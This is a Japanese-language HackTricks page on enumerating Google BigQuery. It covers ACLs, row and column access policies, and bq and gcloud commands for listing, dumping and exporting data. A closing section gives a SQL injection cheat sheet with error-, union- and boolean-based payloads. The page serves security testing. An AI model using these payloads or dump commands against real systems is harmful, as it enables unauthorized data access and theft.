# GCP - Bigquery Enum

{{#include ../../../banners/hacktricks-training.md}}

## 基本情報

Google Cloud BigQueryは、**完全管理型のサーバーレスエンタープライズデータウェアハウス**であり、**ペタバイト**のデータに対する**分析機能**を提供し、大規模データセットを効率的に処理します。プラットフォームとしてのサービス（PaaS）として、手動の監視なしでデータ管理を容易にするためのインフラとツールをユーザーに提供します。

**ANSI SQL**を使用したクエリをサポートしています。主なオブジェクトは、**テーブル**を含む**データセット**であり、SQL **データ**を含みます。

### 暗号化

デフォルトでは、**Google管理の暗号化キー**が使用されますが、**顧客管理の暗号化キー（CMEK）**を構成することも可能です。データセット内の各データセットおよびテーブルごとに暗号化キーを指定することができます。

### 有効期限

データセットに**有効期限**を指定することができ、このデータセット内で作成された新しいテーブルは、作成後に指定された日数が経過すると**自動的に削除**されます。

### 外部ソース

Bigqueryは他のGoogleサービスと深く統合されています。バケット、pub/sub、Google Drive、RDSデータベースからデータをロードすることが可能です...

### データセットACL

データセットが作成されると、**ACLが添付され**、アクセスが付与されます。デフォルトでは、データセットを作成した**ユーザー**に**オーナー**権限が与えられ、その後**プロジェクトのオーナー**グループである**projectOwners**に**オーナー**、**projectWriters**グループに**ライター**、**projectReaders**グループに**リーダー**が与えられます。
```bash
bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
```
### テーブル行のアクセス制御

**テーブル内でプリンシパルがアクセスできる行を制御することが可能です**。これは行アクセスポリシーを使用して定義されます。これらはテーブル内で[**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement)を使用して定義されます。\
アクセスポリシーはフィルターを定義し、**そのフィルターに一致する行のみ**が指定されたプリンシパルによって**アクセス可能**になります。
```sql
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
```

```bash
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
```
### カラムアクセス制御

<figure><img src="../../../images/image (12).png" alt=""><figcaption></figcaption></figure>

カラムレベルでデータアクセスを制限するには：

1. **分類法とポリシータグを定義する**。データのための分類法とポリシータグを作成および管理します。 [https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags)
2. オプション：作成したポリシータグの1つまたは複数に対して、**データカタログの細かい読み取り者ロールを1人以上の主体に付与する**。
3. **ポリシータグをBigQueryのカラムに割り当てる**。BigQueryでは、スキーマ注釈を使用して、アクセスを制限したい各カラムにポリシータグを割り当てます。
4. **分類法に対してアクセス制御を強制する**。アクセス制御を強制すると、分類法内のすべてのポリシータグに対して定義されたアクセス制限が適用されます。
5. **ポリシータグのアクセスを管理する**。各ポリシータグへのアクセスを制限するために、[アイデンティティとアクセス管理](https://cloud.google.com/iam) (IAM) ポリシーを使用します。このポリシーは、ポリシータグに属する各カラムに対して有効です。

ユーザーがクエリ時にカラムデータにアクセスしようとすると、BigQueryは**カラムポリシータグとそのポリシーを確認して、ユーザーがデータにアクセスする権限があるかどうかを判断します**。

> [!TIP]
> 要約すると、特定のユーザーに対していくつかのカラムへのアクセスを制限するには、**スキーマ内のカラムにタグを追加し、ユーザーのタグへのアクセスを制限する**ことで、タグの分類法に対してアクセス制御を強制できます。

分類法に対してアクセス制御を強制するには、サービスを有効にする必要があります：
```bash
gcloud services enable bigquerydatapolicy.googleapis.com
```
列のタグを表示するには、次のようにします：
```bash
bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
```
### 列挙
```bash
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account
```
### BigQuery SQL Injection

さらなる情報はブログ投稿を確認してください: [https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac)。ここではいくつかの詳細が提供されます。

**コメント**:

- `select 1#from here it is not working`
- `select 1/*between those it is not working*/` しかし最初のものは機能しません
- `select 1--from here it is not working`

**環境**に関する**情報**を取得します:

- 現在のユーザー: `select session_user()`
- プロジェクトID: `select @@project_id`

行を連結:

- すべてのテーブル名: `string_agg(table_name, ', ')`

**データセット**、**テーブル**、および**カラム**名を取得:

- **プロジェクト**および**データセット**名:
```sql
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
```
- **データセット**の**すべてのテーブル**の**列**および**テーブル**名:
```sql
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
```
- **同じプロジェクト内の他のデータセット**:
```sql
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
```
**SQLインジェクションの種類:**

- エラーベース - キャスティング: `select CAST(@@project_id AS INT64)`
- エラーベース - ゼロ除算: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
- ユニオンベース（bigqueryではALLを使用する必要があります）: `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
- ブールベース: `` ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# ``
- 潜在的な時間ベース - 公共データセットの使用例: `` SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000 ``

**ドキュメンテーション:**

- すべての関数リスト: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
- スクリプトステートメント: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)

### 権限昇格 & ポストエクスプロイト

{{#ref}}
../gcp-privilege-escalation/gcp-bigquery-privesc.md
{{#endref}}

### 永続性

{{#ref}}
../gcp-persistence/gcp-bigquery-persistence.md
{{#endref}}

## 参考文献

- [https://cloud.google.com/bigquery/docs/column-level-security-intro](https://cloud.google.com/bigquery/docs/column-level-security-intro)

{{#include ../../../banners/hacktricks-training.md}}
